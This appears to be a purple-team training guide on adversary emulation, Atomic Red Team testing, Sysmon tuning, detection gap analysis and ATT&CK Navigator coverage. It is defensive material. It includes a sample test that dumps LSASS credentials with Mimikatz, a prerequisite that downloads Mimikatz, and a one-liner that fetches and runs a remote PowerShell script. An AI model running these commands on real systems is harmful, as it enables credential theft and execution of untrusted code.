<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->

# Purple Team Deep Dive — Adversary Emulation, Detection Validation & Gap Analysis

> NERF training material for `[MODE: PURPLE]` operations.
> Last updated: 2026-03-14

---

## Table of Contents

1. [Adversary Emulation Plan Structure](#1-adversary-emulation-plan-structure)
2. [Atomic Red Team Test Execution](#2-atomic-red-team-test-execution)
3. [Detection Coverage Gap Analysis Methodology](#3-detection-coverage-gap-analysis-methodology)
4. [Sysmon Configuration for Maximum Visibility](#4-sysmon-configuration-for-maximum-visibility)
5. [HELK & DetectionLab Setup](#5-helk--detectionlab-setup)
6. [ATT&CK Navigator Layer Creation](#6-attck-navigator-layer-creation)
7. [Purple Team Engagement Runbook](#7-purple-team-engagement-runbook)

---

## 1. Adversary Emulation Plan Structure

### Source Framework: CTID Adversary Emulation Library

The Center for Threat-Informed Defense maintains emulation plans for real-world threat actors. Available full plans cover: **APT29, Blind Eagle, Carbanak, FIN6, FIN7, menuPass, OceanLotus, OilRig, Sandworm, Turla, Wizard Spider**.

Micro emulation plans target compound behaviors: Active Directory Enumeration, Data Exfiltration, DLL Sideloading, File Access/Modification, Log Clearing, Named Pipes, Process Injection, Reflective Loading, Remote Code Execution, User Execution, Web Shells, Windows Registry.

### Emulation Plan Document Structure

```
EMULATION PLAN: [Threat Actor / Campaign Name]
===================================================

1. INTELLIGENCE SUMMARY
   - Threat actor profile (aliases, attribution, motivation)
   - Targeting patterns (sectors, geographies, infrastructure)
   - Historical campaigns with dates and references
   - Known tooling and malware families
   - ATT&CK group reference (e.g., G0016 for APT29)

2. OPERATIONAL FLOW
   - High-level kill chain / attack graph
   - Phase dependencies and decision points
   - Scenario scope (what is emulated vs. out of scope)

   Example phases:
     Phase 1: Initial Access (spearphishing, supply chain)
     Phase 2: Execution & Persistence
     Phase 3: Discovery & Lateral Movement
     Phase 4: Collection & Exfiltration
     Phase 5: Impact (if applicable)

3. STEP-BY-STEP PROCEDURES
   For each step:
   - Step ID (e.g., 1.A.1)
   - ATT&CK Technique ID (e.g., T1566.001)
   - Procedure description (human-readable)
   - Platform / prerequisites
   - Command(s) or tool invocation
   - Expected output / observable artifacts
   - Detection opportunity (telemetry sources, log events)
   - Cleanup / rollback procedure

4. DETECTION PLAN (Blue Team Counterpart)
   For each step:
   - Expected telemetry source (Sysmon Event ID, Windows Event ID, EDR)
   - Sigma/KQL/SPL detection rule or reference
   - Blind spots and assumptions
   - False positive considerations

5. ATT&CK NAVIGATOR LAYER
   - JSON layer file mapping all techniques exercised
   - Color-coded by detection maturity (red = no coverage, yellow = partial, green = validated)
```

### Building a Custom Emulation Plan

```
Step 1: Select threat actor relevant to your organization's threat model
Step 2: Gather CTI — MITRE ATT&CK group page, vendor reports, OSINT
Step 3: Map observed TTPs to ATT&CK techniques
Step 4: Sequence procedures into operational phases
Step 5: For each procedure, identify:
        - Atomic Red Team test (if available)
        - Alternative tooling (Caldera, manual)
        - Expected telemetry and detection rules
Step 6: Build Navigator layer for the plan
Step 7: Document detection expectations BEFORE execution
Step 8: Execute, validate, gap-analyze
```

---

## 2. Atomic Red Team Test Execution

### Test YAML Schema

Atomic Red Team tests are organized by ATT&CK technique ID under `atomics/T####/T####.yaml`.

```yaml
attack_technique: T1059.001
display_name: "Command and Scripting Interpreter: PowerShell"
atomic_tests:
  - name: "Mimikatz - Creds from Memory"
    auto_generated_guid: 5c2571d0-1572-416d-9676-812e64ca9f44
    description: "Dumps credentials from LSASS using Mimikatz"
    supported_platforms:
      - windows
    input_arguments:
      mimikatz_path:
        description: "Path to Mimikatz executable"
        type: path
        default: "C:\\tools\\mimikatz.exe"
    executor:
      name: powershell           # powershell | command_prompt | bash | sh | manual
      command: |
        #{mimikatz_path} "privilege::debug" "sekurlsa::logonpasswords" exit
      cleanup_command: |
        Remove-Item #{mimikatz_path} -Force -ErrorAction Ignore
      elevation_required: true
    dependencies:
      - description: "Mimikatz must be present"
        prereq_command: |
          if (Test-Path #{mimikatz_path}) { exit 0 } else { exit 1 }
        get_prereq_command: |
          Invoke-WebRequest -Uri "https://example.com/mimikatz.exe" -OutFile #{mimikatz_path}
    dependency_executor_name: powershell
```

Key schema elements:
- **`input_arguments`**: Parameterized with `#{variable_name}` substitution syntax
- **`executor.name`**: Determines shell context — `powershell`, `command_prompt`, `bash`, `sh`, `manual`
- **`dependencies`**: Pre-flight checks with automated prerequisite installation
- **`cleanup_command`**: Post-test system restoration
- **`elevation_required`**: Flags tests needing admin/root

### Invoke-AtomicRedTeam Execution Commands

#### Installation

```powershell
# Install the module
Install-Module -Name invoke-atomicredteam,powershell-yaml -Scope CurrentUser

# Download atomic tests
IEX (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1' -UseBasicParsing)
Install-AtomicRedTeam -getAtomics
```

#### Core Execution Commands

```powershell
# Run all tests for a technique
Invoke-AtomicTest T1059.001

# Run specific test numbers
Invoke-AtomicTest T1059.001 -TestNumbers 1,2
Invoke-AtomicTest T1059.001-1,2              # short form

# Run by test name
Invoke-AtomicTest T1059.001 -TestNames "PowerShell Downgrade Attack"

# Run by GUID
Invoke-AtomicTest T1003 -TestGuids 5c2571d0-1572-416d-9676-812e64ca9f44

# Run ALL techniques (use with caution)
Invoke-AtomicTest All

# Skip confirmation prompts
Invoke-AtomicTest T1059.001 -Confirm:$false

# Set execution timeout
Invoke-AtomicTest T1059.001 -TimeoutSeconds 30

# Interactive mode (step through)
Invoke-AtomicTest T1003 -Interactive
```

#### Prerequisite Management

```powershell
# Check and install prerequisites
Invoke-AtomicTest T1003 -GetPrereqs

# Check prereqs for specific test
Invoke-AtomicTest T1003 -TestGuids <guid> -GetPrereqs
```

#### Cleanup

```powershell
# Run cleanup for a technique
Invoke-AtomicTest T1003 -Cleanup

# Cleanup specific test
Invoke-AtomicTest T1003 -TestGuids <guid> -Cleanup
```

#### Automated Bulk Execution (Purple Team Sweep)

```powershell
# Iterate all Windows-supported non-manual tests
$techniques = Get-ChildItem C:\AtomicRedTeam\atomics\* -Recurse -Include T*.yaml |
              Get-AtomicTechnique

foreach ($technique in $techniques) {
    foreach ($atomic in $technique.atomic_tests) {
        if ($atomic.supported_platforms.contains("windows") -and
            ($atomic.executor -ne "manual")) {

            # Install prerequisites
            Invoke-AtomicTest $technique.attack_technique `
                -TestGuids $atomic.auto_generated_guid -GetPrereqs

            # Execute test
            Invoke-AtomicTest $technique.attack_technique `
                -TestGuids $atomic.auto_generated_guid

            Start-Sleep 3

            # Cleanup
            Invoke-AtomicTest $technique.attack_technique `
                -TestGuids $atomic.auto_generated_guid -Cleanup
        }
    }
}
```

#### Custom Atomics Path

```powershell
$PSDefaultParameterValues = @{
    "Invoke-AtomicTest:PathToAtomicsFolder" = "C:\AtomicRedTeam\atomics"
}
```

### Linux Execution (via PowerShell Core)

```bash
# Install pwsh on Debian/Ubuntu
apt-get install -y powershell

# Install module
pwsh -c 'Install-Module -Name invoke-atomicredteam,powershell-yaml -Scope CurrentUser -Force'

# Run test
pwsh -c 'Invoke-AtomicTest T1053.003 -TestNumbers 1'
```

---

## 3. Detection Coverage Gap Analysis Methodology

### Framework: Palantir Alerting and Detection Strategy (ADS)

Every detection rule should be documented with these nine sections before production deployment:

```
ALERTING AND DETECTION STRATEGY
================================
1. Goal              — What adversary behavior does this detect?
2. Categorization    — ATT&CK tactic/technique mapping
3. Strategy Abstract — High-level detection approach
4. Technical Context — Data sources, log fields, processing logic
5. Blind Spots       — What this detection CANNOT see
                       (e.g., encrypted channels, kernel-level evasion)
6. Assumptions       — What must be true for detection to work
                       (e.g., Sysmon installed, PowerShell logging enabled)
7. False Positives   — Specific legitimate scenarios that trigger
                       (NOT "legitimate admin activity" — name the tool/process)
8. Validation        — How to confirm the detection works
                       (link to Atomic Red Team test or manual procedure)
9. Priority          — Alert severity and escalation path
10. Response         — Analyst investigation steps when alert fires
```

### Gap Analysis Process

```
PHASE 1: INVENTORY CURRENT DETECTIONS
--------------------------------------
- Export all active SIEM rules/alerts
- Map each rule to ATT&CK technique IDs
- Score detection maturity per technique:
    0 = No detection
    1 = Log source available but no rule
    2 = Rule exists, not validated
    3 = Rule exists, validated with Atomic test
    4 = Rule validated, tuned, low false positive rate
    5 = Rule validated, tuned, tested against evasion variants

PHASE 2: MAP THREAT LANDSCAPE
------------------------------
- Identify relevant threat actors (industry, geography, asset type)
- Extract their ATT&CK technique sets from CTI
- Overlay threat actor techniques on your coverage matrix

PHASE 3: IDENTIFY GAPS
------------------------
- Techniques used by relevant actors with maturity < 3 = GAP
- Prioritize gaps by:
    1. Frequency of use across threat actors
    2. Impact if undetected (credential access > discovery)
    3. Feasibility of detection (data source availability)
    4. Compensating controls in place

PHASE 4: DEVELOP DETECTIONS
-----------------------------
- For each prioritized gap:
    a. Identify required data source (Sysmon event, Windows event, network)
    b. Verify data source is collected and indexed
    c. Write detection rule (Sigma preferred for portability)
    d. Document as ADS
    e. Validate with Atomic Red Team test
    f. Tune false positives in staging
    g. Deploy to production with monitoring period

PHASE 5: CONTINUOUS VALIDATION
-------------------------------
- Schedule recurring Atomic test execution (weekly/monthly)
- Automate: run test -> wait -> query SIEM -> assert alert fired
- Track coverage percentage over time
- Re-run gap analysis quarterly or after major infrastructure changes
```

### Detection Coverage Scoring Matrix

| Score | Label | Criteria |
|-------|-------|----------|
| 0 | None | No data source, no rule |
| 1 | Telemetry | Data source collected but no detection logic |
| 2 | Draft | Detection rule written, not validated |
| 3 | Validated | Rule fires on known-good test (Atomic/manual) |
| 4 | Tuned | Rule validated + false positives addressed + documented ADS |
| 5 | Resilient | Rule tested against evasion variants + blind spots documented |

### D3FEND Integration for Gap Analysis

MITRE D3FEND provides a defensive countermeasure knowledge graph complementary to ATT&CK. Use it to systematically verify coverage across six defensive tactics:

| D3FEND Tactic | Purpose | Example Techniques |
|---------------|---------|-------------------|
| **Model** | Asset discovery, dependency mapping | Asset Inventory, Vulnerability Analysis |
| **Harden** | Reduce attack surface | Certificate Pinning, Disk Encryption, Code Signing |
| **Detect** | Identify malicious activity | File Analysis, Behavior Monitoring, Network Traffic Analysis |
| **Isolate** | Contain and segment | DNS Denylisting, Executable Allowlisting, Network Segmentation |
| **Deceive** | Mislead adversaries | Honeynets, Decoy Credentials, Decoy Network Resources |
| **Evict** | Remove threat presence | Credential Rotation, Process Termination |
| **Restore** | Recovery operations | System Image Recovery, Data Backup Restoration |

For each ATT&CK technique in your gap analysis, query D3FEND for mapped countermeasures. This reveals not just detection gaps but hardening, isolation, and deception opportunities.

---

## 4. Sysmon Configuration for Maximum Visibility

### Configuration Approaches

Two primary open-source configs serve different use cases:

| Config | Author | Philosophy | Best For |
|--------|--------|-----------|----------|
| **sysmon-config** | SwiftOnSecurity | Balanced, educational, minimal perf impact | Production baseline |
| **sysmon-modular** | Olaf Hartong | Modular, composable, granular control | Advanced/research environments |

### Sysmon Event Types for Purple Team Coverage

| Event ID | Category | Purple Team Value |
|----------|----------|-------------------|
| **1** | Process Creation | Execution, command-line logging, parent-child relationships |
| **3** | Network Connection | C2 detection, lateral movement, data exfiltration |
| **5** | Process Terminated | Process lifecycle tracking |
| **6** | Driver Loaded | Rootkit detection, vulnerable driver abuse (BYOVD) |
| **7** | Image Loaded | DLL sideloading, injection detection |
| **8** | CreateRemoteThread | Process injection (T1055) |
| **10** | Process Access | Credential dumping (LSASS access), process hollowing |
| **11** | File Created | Payload drops, staging directories |
| **12-14** | Registry Events | Persistence mechanisms, config changes |
| **15** | FileCreateStreamHash | Alternate data streams (T1564.004) |
| **17-18** | Pipe Events | Named pipe pivoting, C2 channels (Cobalt Strike) |
| **19-21** | WMI Events | WMI persistence, lateral movement |
| **22** | DNS Query | C2 domain resolution, DNS tunneling |
| **23** | File Delete (archived) | Anti-forensics detection, evidence destruction |
| **24** | Clipboard Change | Data collection monitoring |
| **25** | Process Tampering | Process hollowing, herpaderping |
| **26** | File Delete Logged | File deletion tracking (lightweight) |

### sysmon-modular: Building a Custom Config

```powershell
# Clone the repository
git clone https://github.com/olafhartong/sysmon-modular.git
cd sysmon-modular

# Merge all modules into a single config
# Uses the PowerShell merge function
Import-Module .\Merge-SysmonXml.ps1
Merge-AllSysmonXml -Path (Get-ChildItem '[0-9]*\*.xml') -AsString |
    Out-File sysmonconfig.xml

# Available pre-built configs:
#   sysmonconfig.xml         — Default balanced
#   sysmonconfig-verbose.xml — All events, exclusions only
#   sysmonconfig-research.xml — Maximum logging (NOT for production)
#   sysmonconfig-mde-augment.xml — Complement Microsoft Defender for Endpoint
```

### Recommended Purple Team Sysmon Config Strategy

```
PRODUCTION ENVIRONMENT
  Use: SwiftOnSecurity or sysmon-modular default
  Rationale: Low performance impact, proven exclusions
  Tune: Add org-specific exclusions (AV, backup agents, known-good)

PURPLE TEAM LAB / TESTING
  Use: sysmon-modular verbose or research config
  Rationale: Maximum visibility to validate what telemetry tests produce
  Warning: Research config generates extreme log volume

DETECTION DEVELOPMENT
  Use: sysmon-modular with selective modules
  Rationale: Enable only event types relevant to technique under test
  Example: Testing T1055 (Process Injection) -> enable Events 1, 8, 10, 25
```

### Installation Commands

```powershell
# Windows — Install Sysmon with config
sysmon.exe -accepteula -i sysmonconfig.xml

# Update running config
sysmon.exe -c sysmonconfig.xml

# Verify current config
sysmon.exe -s

# Linux — Install Sysmon for Linux
# (requires sysinternalsebpf package)
sudo sysmon -accepteula -i sysmonconfig-linux.xml
```

### Critical Tuning Rules for Purple Team

```xml
<!-- MUST INCLUDE: LSASS access monitoring for credential dumping -->
<RuleGroup groupRelation="or">
  <ProcessAccess onmatch="include">
    <TargetImage condition="is">C:\Windows\system32\lsass.exe</TargetImage>
  </ProcessAccess>
</RuleGroup>

<!-- MUST INCLUDE: Suspicious parent-child process relationships -->
<RuleGroup groupRelation="or">
  <ProcessCreate onmatch="include">
    <ParentImage condition="is">C:\Windows\System32\cmd.exe</ParentImage>
    <ParentImage condition="is">C:\Windows\System32\wscript.exe</ParentImage>
    <ParentImage condition="is">C:\Windows\System32\mshta.exe</ParentImage>
    <ParentImage condition="is">C:\Windows\System32\rundll32.exe</ParentImage>
  </ProcessCreate>
</RuleGroup>

<!-- MUST INCLUDE: Named pipe events for C2 detection -->
<RuleGroup groupRelation="or">
  <PipeEvent onmatch="exclude">
    <!-- Exclude known-good pipes, include everything else -->
    <PipeName condition="is">\PSHost</PipeName>
  </PipeEvent>
</RuleGroup>
```

---

## 5. HELK & DetectionLab Setup

### HELK (Hunting ELK)

**Architecture:**

```
                    +-----------------+
                    |  Jupyter        |
                    |  Notebooks      |
                    +--------+--------+
                             |
+----------+    +------------+------------+    +-----------+
| Logstash | -> | Elasticsearch           | -> |  Kibana   |
| (ingest) |    | (index + search)        |    |  (viz)    |
+----------+    +------------+------------+    +-----------+
                             |
                    +--------+--------+
                    |  Apache Spark   |
                    |  + GraphFrames  |
                    +-----------------+
```

**Components:**
- **Elasticsearch**: Event storage, full-text search, aggregations
- **Logstash**: Log ingestion, parsing, enrichment
- **Kibana**: Dashboards, visualizations, investigation UI
- **Apache Spark**: Distributed analytics, SQL queries over events
- **Jupyter Notebooks**: Interactive threat hunting, hypothesis testing
- **GraphFrames**: Entity relationship analysis (process trees, network graphs)

**Deployment (Docker-based):**

```bash
# Clone HELK
git clone https://github.com/Cyb3rWard0g/HELK.git
cd HELK/docker

# Run installer
sudo ./helk_install.sh

# Options during install:
#   Option 1: HELK + ELK (basic)
#   Option 2: HELK + ELK + Spark + Jupyter (full analytics)
#   Option 3: HELK + ELK + Spark + Jupyter + KSQL (streaming)
#   Option 4: HELK + ELK + Spark + Jupyter + KSQL + Elastalert (alerting)

# Access points after install:
#   Kibana:   https://<helk-ip>
#   Jupyter:  https://<helk-ip>:8888
#   Spark UI: https://<helk-ip>:4040
```

**Ingesting Sysmon Logs into HELK:**

```
Method 1: Winlogbeat (recommended)
  - Install Winlogbeat on Windows endpoints
  - Configure output to HELK Logstash (port 5044)
  - Winlogbeat ships Sysmon events from Windows Event Log

Method 2: NXLog
  - Alternative log shipper for Windows
  - Configure to forward Sysmon channel to Logstash

Method 3: Kafka input (for high-volume environments)
  - HELK supports Kafka as message broker
  - Winlogbeat -> Kafka -> Logstash -> Elasticsearch
```

**Purple Team Use Cases:**
- Run Atomic Red Team test on endpoint
- Observe events arrive in Kibana within seconds
- Query Elasticsearch for specific technique artifacts
- Use Jupyter notebooks for complex hunt queries (e.g., process tree analysis)
- Build Spark-based analytics for anomaly detection

### DetectionLab

> **Note**: DetectionLab is no longer actively maintained as of January 2023.
> Consider Splunk Attack Range or custom lab builds as alternatives.

**Architecture:**

```
+-------------------+     +-------------------+
|   DC (Domain      |     |   WEF (Windows    |
|   Controller)     |     |   Event Forwarding)|
|   - Active Dir    |     |   - Splunk Fwdr   |
|   - DNS           |     |   - Sysmon        |
|   - GPO           |     |   - osquery/Fleet |
+-------------------+     +-------------------+
         |                          |
         +----------+---------------+
                    |
            +-------+-------+
            |    Logger     |
            |  - Splunk     |
            |  - Zeek       |
            |  - Suricata   |
            |  - Guacamole  |
            +---------------+
```

**Pre-installed Tooling:**
- Splunk with pre-created indexes and forwarder
- Sysmon with sysmon-modular config (Olaf Hartong)
- osquery + Fleet management
- Microsoft ATA
- Zeek + Suricata for network monitoring
- Apache Guacamole for browser-based VM access
- PowerShell transcript logging enabled
- Windows Event Forwarding subscriptions configured

**Deployment Options:**
- VirtualBox / VMware (local)
- AWS / Azure via Terraform
- HyperV, LibVirt, Proxmox

### Splunk Attack Range (Recommended Active Alternative)

```bash
# Docker Compose deployment (recommended)
git clone https://github.com/splunk/attack_range.git
cd attack_range
docker compose up -d

# Access points:
#   Web UI:   http://localhost:4321
#   REST API: http://localhost:4000 (OpenAPI at /openapi/swagger)

# Two-step build process:
#   1. Provision infrastructure via Web UI or CLI
#   2. Connect VPN (WireGuard) to lab network
#   3. Continue build to finalize environment

# Run Atomic Red Team simulation:
#   - Via Web UI: select technique, click simulate
#   - Via API: POST to simulation endpoint
#   - Via CLI: attack_range simulate -t T1059.001
```

**Attack Range deploys:**
- Splunk (central analytics)
- Windows Server / Workstation (targets)
- Linux hosts
- Optional: Kali Linux, Zeek, additional monitors
- Supports AWS, Azure, GCP via Terraform + Ansible

---

## 6. ATT&CK Navigator Layer Creation

### Layer JSON Structure (v4.x)

```json
{
    "name": "Purple Team Coverage - Q1 2026",
    "versions": {
        "attack": "15",
        "navigator": "5.1",
        "layer": "4.5"
    },
    "domain": "enterprise-attack",
    "description": "Detection coverage assessment for purple team engagement",
    "filters": {
        "platforms": ["Windows", "Linux", "macOS"]
    },
    "sorting": 0,
    "layout": {
        "layout": "side",
        "aggregateFunction": "average",
        "showID": true,
        "showName": true,
        "showAggregateScores": false,
        "countUnscored": false,
        "expandedSubtechniques": "annotated"
    },
    "hideDisabled": false,
    "techniques": [
        {
            "techniqueID": "T1059.001",
            "tactic": "execution",
            "color": "#31a354",
            "comment": "Validated with ART test T1059.001-1. Sigma rule: proc_creation_win_powershell_suspicious_cmd.yml",
            "score": 4,
            "enabled": true,
            "metadata": [
                { "name": "detection_rule", "value": "sigma/proc_creation_win_powershell_suspicious_cmd.yml" },
                { "name": "atomic_test", "value": "T1059.001-1" },
                { "name": "last_validated", "value": "2026-03-01" },
                { "name": "data_source", "value": "Sysmon Event 1" }
            ],
            "links": [
                { "label": "Sigma Rule", "url": "https://github.com/SigmaHQ/sigma/..." },
                { "label": "ART Test", "url": "https://github.com/redcanaryco/atomic-red-team/..." }
            ],
            "showSubtechniques": true
        }
    ],
    "gradient": {
        "colors": ["#ff6666", "#ffeb3b", "#66bb6a"],
        "minValue": 0,
        "maxValue": 5
    },
    "legendItems": [
        { "label": "No Coverage (0)", "color": "#ff6666" },
        { "label": "Telemetry Only (1)", "color": "#ff9800" },
        { "label": "Draft Rule (2)", "color": "#ffeb3b" },
        { "label": "Validated (3)", "color": "#c6e377" },
        { "label": "Tuned (4)", "color": "#66bb6a" },
        { "label": "Resilient (5)", "color": "#1b5e20" }
    ],
    "showTacticRowBackground": true,
    "tacticRowBackground": "#dddddd",
    "selectTechniquesAcrossTactics": true,
    "selectSubtechniquesWithParent": false,
    "selectVisibleTechniques": false
}
```

### Programmatic Layer Generation (Python)

```python
"""Generate ATT&CK Navigator layer from detection inventory."""
import json
import uuid
from typing import Optional

COVERAGE_COLORS = {
    0: "#ff6666",   # No coverage — red
    1: "#ff9800",   # Telemetry only — orange
    2: "#ffeb3b",   # Draft rule — yellow
    3: "#c6e377",   # Validated — light green
    4: "#66bb6a",   # Tuned — green
    5: "#1b5e20",   # Resilient — dark green
}

def create_layer(
    name: str,
    techniques: list[dict],
    domain: str = "enterprise-attack",
    description: str = "",
) -> dict:
    """
    Create an ATT&CK Navigator layer.

    Args:
        name: Layer display name
        techniques: List of dicts with keys:
            - techniqueID (str): e.g., "T1059.001"
            - tactic (str, optional): e.g., "execution"
            - score (int): 0-5 coverage score
            - comment (str, optional): notes
        domain: ATT&CK domain
        description: Layer description

    Returns:
        dict: Complete Navigator layer JSON
    """
    technique_entries = []
    for t in techniques:
        score = t.get("score", 0)
        entry = {
            "techniqueID": t["techniqueID"],
            "score": score,
            "color": COVERAGE_COLORS.get(score, "#ffffff"),
            "comment": t.get("comment", ""),
            "enabled": True,
        }
        if "tactic" in t:
            entry["tactic"] = t["tactic"]
        if "metadata" in t:
            entry["metadata"] = t["metadata"]
        technique_entries.append(entry)

    return {
        "name": name,
        "versions": {
            "attack": "15",
            "navigator": "5.1",
            "layer": "4.5",
        },
        "domain": domain,
        "description": description,
        "techniques": technique_entries,
        "gradient": {
            "colors": ["#ff6666", "#ffeb3b", "#66bb6a"],
            "minValue": 0,
            "maxValue": 5,
        },
        "legendItems": [
            {"label": f"{label} ({score})", "color": color}
            for score, color in COVERAGE_COLORS.items()
            for label in [
                ["No Coverage", "Telemetry Only", "Draft Rule",
                 "Validated", "Tuned", "Resilient"][score]
            ]
        ],
        "showTacticRowBackground": True,
        "tacticRowBackground": "#dddddd",
        "selectTechniquesAcrossTactics": True,
    }


def save_layer(layer: dict, filepath: str) -> None:
    """Save layer to JSON file for Navigator import."""
    with open(filepath, "w") as f:
        json.dump(layer, f, indent=2)


# Example usage:
if __name__ == "__main__":
    detections = [
        {"techniqueID": "T1059.001", "tactic": "execution", "score": 4,
         "comment": "PowerShell logging + Sigma rule validated"},
        {"techniqueID": "T1053.005", "tactic": "persistence", "score": 3,
         "comment": "Scheduled task creation monitored via Sysmon"},
        {"techniqueID": "T1055.001", "tactic": "defense-evasion", "score": 1,
         "comment": "Sysmon Event 8 collected, no rule written"},
        {"techniqueID": "T1003.001", "tactic": "credential-access", "score": 5,
         "comment": "LSASS access rule validated + evasion-tested"},
    ]

    layer = create_layer(
        name="Purple Team Coverage - Q1 2026",
        techniques=detections,
        description="Post-engagement detection coverage assessment",
    )
    save_layer(layer, "purple_team_coverage.json")
```

### Layer Workflow for Purple Team

```
PRE-ENGAGEMENT:
  1. Export current detection rules
  2. Map rules to ATT&CK technique IDs
  3. Generate "current state" layer (baseline)
  4. Generate "threat actor" layer (techniques to test)
  5. Overlay layers in Navigator to see coverage vs. threat

POST-ENGAGEMENT:
  1. Update technique scores based on test results
  2. Generate "post-engagement" layer
  3. Diff baseline vs. post-engagement
  4. Highlight new gaps discovered
  5. Prioritize remediation backlog

ONGOING:
  - Regenerate layer monthly from detection inventory
  - Track coverage percentage trends
  - Compare against evolving threat landscape
```

---

## 7. Purple Team Engagement Runbook

### Pre-Engagement Phase (1-2 Weeks Before)

```
STEP 1: SCOPE DEFINITION
  [ ] Define engagement objectives (specific questions to answer)
  [ ] Select threat actor(s) or technique set for emulation
  [ ] Identify in-scope systems, networks, and data
  [ ] Define rules of engagement (RoE):
      - Hours of operation
      - Excluded systems (production databases, safety systems)
      - Communication channels and escalation paths
      - Emergency stop procedures
  [ ] Obtain written authorization from system owners
  [ ] Brief SOC team (level of awareness: full knowledge / partial / blind)

STEP 2: THREAT INTELLIGENCE GATHERING
  [ ] Pull ATT&CK profile for selected threat actor(s)
  [ ] Review CTID emulation plan (if available)
  [ ] Identify applicable Atomic Red Team tests for each technique
  [ ] Supplement with SCYTHE community threats / custom procedures
  [ ] Build ATT&CK Navigator "threat actor" layer

STEP 3: DETECTION BASELINE
  [ ] Export current SIEM rules and map to ATT&CK
  [ ] Generate "current coverage" Navigator layer
  [ ] Overlay with threat actor layer — identify expected gaps
  [ ] Document detection hypotheses:
      "We EXPECT to detect T1059.001 via rule XYZ"
      "We DO NOT EXPECT to detect T1055.003 (no data source)"
  [ ] Ensure logging infrastructure is healthy:
      - Sysmon running and forwarding (verify with test event)
      - SIEM ingestion pipeline clear (check lag/backlog)
      - Endpoint agents reporting

STEP 4: LAB VALIDATION (Optional but Recommended)
  [ ] Run planned Atomic tests in lab environment first
  [ ] Verify tests produce expected artifacts
  [ ] Confirm cleanup procedures work
  [ ] Validate detection rules fire in lab
```

### Execution Phase

```
STEP 5: EXECUTE EMULATION PLAN
  For each technique in the plan:

  RED TEAM (or automated):
    [ ] Announce technique ID to purple team coordinator
    [ ] Execute Atomic Red Team test (or manual procedure)
    [ ] Record:
        - Timestamp (UTC)
        - Technique ID + test number
        - Source host and user context
        - Exact command(s) executed
        - Observed outcome (success/failure/partial)
    [ ] Wait designated observation window (5-15 minutes)

  BLUE TEAM (simultaneously or after window):
    [ ] Check SIEM for alerts triggered by the technique
    [ ] Search raw logs for expected artifacts
    [ ] Record:
        - Alert fired? (yes/no/partial)
        - Time to detect (TTD) — execution timestamp to alert
        - Data source that captured the activity
        - Missing telemetry (expected event not present)
    [ ] If no detection: attempt manual hunt
        - What query would find this?
        - What data source is missing?

  COORDINATOR:
    [ ] Log result in engagement tracker:

    | Time (UTC)  | Technique    | Test         | Detected | TTD    | Rule         | Notes         |
    |-------------|--------------|--------------|----------|--------|--------------|---------------|
    | 14:32:00    | T1059.001-1  | ART #1       | YES      | 45s    | PS_Exec_01   | As expected   |
    | 14:47:00    | T1055.001-1  | ART #2       | NO       | N/A    | None         | No Event 8    |

    [ ] After each technique: brief discussion (2-3 min max)
    [ ] Run cleanup before next technique
    [ ] Proceed to next technique in plan
```

### Post-Engagement Phase

```
STEP 6: GAP ANALYSIS
  [ ] Compile all results into detection coverage matrix
  [ ] Calculate metrics:
      - Detection rate: (techniques detected / techniques tested) * 100
      - Mean time to detect (MTTD) across all detected techniques
      - Coverage by tactic (which kill chain phases are weakest?)
      - Data source gaps (what telemetry is missing?)
  [ ] Generate post-engagement Navigator layer
  [ ] Diff pre vs. post layers

STEP 7: REMEDIATION PLANNING
  For each gap, produce a finding:

  [GAP-001]
  Technique  : T1055.001 — Process Injection: DLL Injection
  Test       : Atomic Red Team T1055.001-1
  Result     : NOT DETECTED
  Root Cause : Sysmon Event 8 (CreateRemoteThread) not enabled in config
  Remediation:
    1. Add CreateRemoteThread monitoring to Sysmon config
    2. Write Sigma rule for suspicious CreateRemoteThread targets
    3. Validate with ART test T1055.001-1
    4. Document as ADS with blind spots
  Priority   : HIGH (credential access dependency)
  Owner      : Detection Engineering
  Target Date: [date]

STEP 8: REPORT
  Purple Team Engagement Report Structure:

  1. Executive Summary
     - Engagement dates, scope, threat actor emulated
     - Detection rate (headline metric)
     - Top 3 critical gaps

  2. Methodology
     - Emulation plan reference
     - Tools used (Atomic Red Team, custom procedures)
     - Environment (production / lab / hybrid)

  3. Results Matrix
     - Full technique-by-technique results table
     - Navigator layer screenshots (before/after)

  4. Gap Analysis
     - Gaps by tactic
     - Root cause categorization:
         - Missing data source
         - Data source present, no rule
         - Rule present, not working
         - Rule working, too noisy (disabled)
     - Detection coverage trend (if repeat engagement)

  5. Remediation Roadmap
     - Prioritized gap findings with owners and dates
     - Quick wins (< 1 week)
     - Medium-term (1-4 weeks)
     - Strategic (requires infrastructure changes)

  6. Appendices
     - Full execution log with timestamps
     - Navigator layer JSON files
     - New/updated Sigma rules produced
     - ADS documents for new detections

STEP 9: FOLLOW-UP
  [ ] Track remediation items to completion
  [ ] Re-test remediated gaps (targeted validation)
  [ ] Update coverage Navigator layer
  [ ] Schedule next engagement (quarterly recommended)
  [ ] Feed findings into detection engineering backlog
  [ ] Update threat model with new intelligence
```

### Purple Team Cadence

```
CONTINUOUS (Automated):
  - Weekly Atomic Red Team sweeps against critical techniques
  - Automated: execute test -> query SIEM -> assert detection
  - Alert on detection regression (previously detected, now missed)

QUARTERLY (Manual):
  - Full purple team engagement against selected threat actor
  - Update coverage baseline
  - Remediation sprint

ANNUAL:
  - Comprehensive ATT&CK coverage assessment
  - Full threat landscape re-evaluation
  - Strategic detection roadmap update
```

---

## Reference: Key Tool Links

| Tool | Purpose | URL |
|------|---------|-----|
| Atomic Red Team | Test library by ATT&CK technique | https://github.com/redcanaryco/atomic-red-team |
| Invoke-AtomicRedTeam | PowerShell execution framework | https://github.com/redcanaryco/invoke-atomicredteam |
| CTID Emulation Library | Full adversary emulation plans | https://github.com/center-for-threat-informed-defense/adversary_emulation_library |
| ATT&CK Navigator | Visual coverage mapping | https://github.com/mitre-attack/attack-navigator |
| sysmon-modular | Composable Sysmon configs | https://github.com/olafhartong/sysmon-modular |
| sysmon-config | Baseline Sysmon config | https://github.com/SwiftOnSecurity/sysmon-config |
| Palantir ADS Framework | Detection documentation standard | https://github.com/palantir/alerting-detection-strategy-framework |
| HELK | Hunting ELK platform | https://github.com/Cyb3rWard0g/HELK |
| Splunk Attack Range | Cloud-based attack simulation lab | https://github.com/splunk/attack_range |
| Sigma | Vendor-agnostic detection rules | https://github.com/SigmaHQ/sigma |
